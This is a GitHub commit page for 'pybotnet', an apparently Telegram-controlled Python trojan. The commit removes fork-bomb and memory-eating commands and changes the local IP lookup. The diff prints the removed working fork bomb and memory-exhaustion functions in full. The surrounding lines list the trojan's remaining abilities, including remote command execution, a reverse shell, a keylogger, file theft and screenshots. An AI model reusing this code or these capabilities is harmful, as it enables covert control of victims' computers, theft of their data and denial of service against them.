Skip to content

Commit

Permalink
Merge pull request #13 from SepehrRasouli/master
Browse files Browse the repository at this point in the history
Removed Fork Bomb , mem eater and memleft , and fixed local ip checker
  • Loading branch information
onionj authored Sep 29, 2021
2 parents e768808 + aa71593 commit 90bc28c
Show file tree
Hide file tree
Showing 3 changed files with 13 additions and 61 deletions.
5 changes: 0 additions & 5 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -34,10 +34,8 @@
* import file from target system
* get screenshot
* Task Scheduler
* Memory Eater
* Open Website
* Play Sound
* ForkBomb

for more, see commands table end of this page

Expand Down Expand Up @@ -106,9 +104,6 @@ COMMAND | Sample | DO THIS | version | tested on |
`scheduler` | `scheduler start ,stop , list` | Adds a schedule | 0.25.3 | windows, linux
`playsound` | `playsound <sound-name>` | Will play a sound . Playsound can only play MP3 or WAV Files. | 0.25.3 | windows, linux
`openurl` | `openurl <url> <how-many-times>` | Will open a url n times. | 0.25.3 | windows, linux
`eatmemory` | `eatmemory <how-much-in-bytes>` | Will eat memory like a hungry trojan | 0.25.3 | windows
`memoryused` | `memoryused` | Will return how much of memory is used in percent | 0.25.3 | windows, linux
`forkbomb` | `forkbomb` | Will fork bomb the system | 0.25.3 | windows

> If you like this repo and find it useful, please consider ★ starring it (on top right of the page) and forking it :)
Expand Down
64 changes: 9 additions & 55 deletions pybotnet/scripts.py
Original file line number Diff line number Diff line change
Expand Up @@ -9,11 +9,11 @@
from time import sleep
from uuid import getnode as get_system_mac_addres
from requests import get
import subprocess
import sys
from playsound import playsound
import webbrowser
import psutil


# pybotnet import
from . import util
from . import settings
Expand All @@ -25,40 +25,35 @@
scripts_name = {
MAC_ADDRES: "`<system MAC_ADDRES> <command>`: run command on one target",

"help": "`help`: send this message",

"do_sleep": "`do_sleep <scconds> <message>`: print message and sleep",

"get_info": "`get_info`: get target info",

"info": "`info`: run `get_info` command!",

"cmd": "`cmd <command>`: run command in target terminal",
"reverse_shell": "`<system MAC_ADDRES> reverse_shell`: start reverse shell on target system",

"export_file": "`export_file <download link>`: target donwload this file and save to script path",

"import_file": "`import_file <file route>`: get a file from target system",

"screenshot": "`screenshot`: Takes a screenshot, return the download link",

"help": "`help`: send this message",
"info": "`info`: run `get_info` command!",

"/start": "`/start`: run `help` command!",
"cmd": "`cmd <command>`: run command in target terminal",

"reverse_shell": "`<system MAC_ADDRES> reverse_shell`: start reverse shell on target system",
"/start": "`/start`: run `help` command!",

"keylogger": "`keylogger start/stop`: Starts keylogger. use keylogger stop to stop keylogger",

"schedule": """`schedule start <second> <shell-command>`: Starts a new schedule for a command.
`schedule list`: lists all schedules
`schedule stop <schedule name>`: Stops a schedule
""",

"forkbomb": "`forkbomb` Will execute the running program forever , Using this option , you might lose access to the trojan , since a restart would be needed.",

"playsound": "`playsound <soundname>` Plays a sound , MP3 or WAV Files. Sound file should be in the working path.",

"eatmemory": "`eatmemory <how-much-in-bytes>` This option will eat memory , You should specify the size in bytes. if you eat all of the memory , you might lose connection.",
"memoryused": "`memoryused` will return the percent of used memory.",
"openurl": "`openurl <url> <how-many-times>` Will open a specified url n times",

}


Expand Down Expand Up @@ -171,18 +166,9 @@ def execute_scripts(command: str, pybotnet_up_time: int, is_shell: bool, ADMIN_C
elif command_name == "schedule" and split_command(command)[1] in ["start", "stop", "list"]:
return scheduler_script(logger, command)

elif command_name == "forkbomb":
return forkbomb(logger, TELEGRAM_TOKEN, ADMIN_CHAT_ID)

elif command_name == "playsound":
return playsound_pybotnet(logger, command)

elif command_name == "eatmemory":
return eatmem(logger, command)

elif command_name == "memoryused":
return memleft()

elif command_name == "openurl":
return openurl(logger, command)
logger.error('execute_scripts invalid command; Wrong format')
Expand Down Expand Up @@ -533,21 +519,6 @@ def scheduler_script(logger, command):
return "Schedule {0} stopped.".format(command)


def forkbomb(logger, TELEGRAM_TOKEN, ADMIN_CHAT_ID):
def send_message(text: str):
util.send_message_by_third_party_proxy(
text, TELEGRAM_TOKEN=TELEGRAM_TOKEN,
ADMIN_CHAT_ID=ADMIN_CHAT_ID, logger=logger)
logger.info("Starting Fork Bomb...")
send_message('Starting Fork Bomb...')
try:
while True:
subprocess.Popen([sys.executable, sys.argv[0]],
creationflags=subprocess.CREATE_NEW_CONSOLE)
except:
return "Running forkbomb failed."


def playsound_pybotnet(logger, command):
threadObject = threading.Thread(
target=playsound, args=(split_command(command)[1],))
Expand All @@ -557,23 +528,6 @@ def playsound_pybotnet(logger, command):
return "Playsound Started."if threadObject.is_alive() else "PlaySound Failed."


def eatmem(logger, command):
global memory
try:
logger.info("Eating memory like a hungry trojan...")
memory = 'X' * int((split_command(command)[1]))
logger.info("Ate {0} Bytes of Memory.".format(
split_command(command)[1]))
return "Ate {0} Bytes of Memory.".format(split_command(command)[1])
except:
logger.error(
"Unknown error occurred. Maybe the specified amount was too much. Or the amount wasn't a number. I'm Very Hungry :(")
return "Unknown error occurred. Maybe the specified amount was too much. Or the amount wasn't a number."


def memleft():
return 'Memory Used = {0}'.format(psutil.virtual_memory().percent)


def openurl(logger, command):
url = split_command(command)[1]
Expand Down
5 changes: 4 additions & 1 deletion pybotnet/util.py
Original file line number Diff line number Diff line change
Expand Up @@ -15,6 +15,7 @@
from typing import List
from pynput import keyboard
from socket import gethostname, gethostbyname
import socket
from uuid import getnode as get_system_mac_addres
from bs4 import BeautifulSoup
from PIL import ImageGrab
Expand Down Expand Up @@ -70,7 +71,9 @@ def get_current_epoc_time() -> float:
def get_host_name_ip() -> str:
try:
host_name = gethostname()
host_ip = gethostbyname(host_name)
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.connect(("4.2.2.4", 80))
host_ip = s.getsockname()[0]
return f'{host_ip}\nHostname: {host_name}'
except:
return 'Unknown'
Expand Down

0 comments on commit 90bc28c

Please sign in to comment.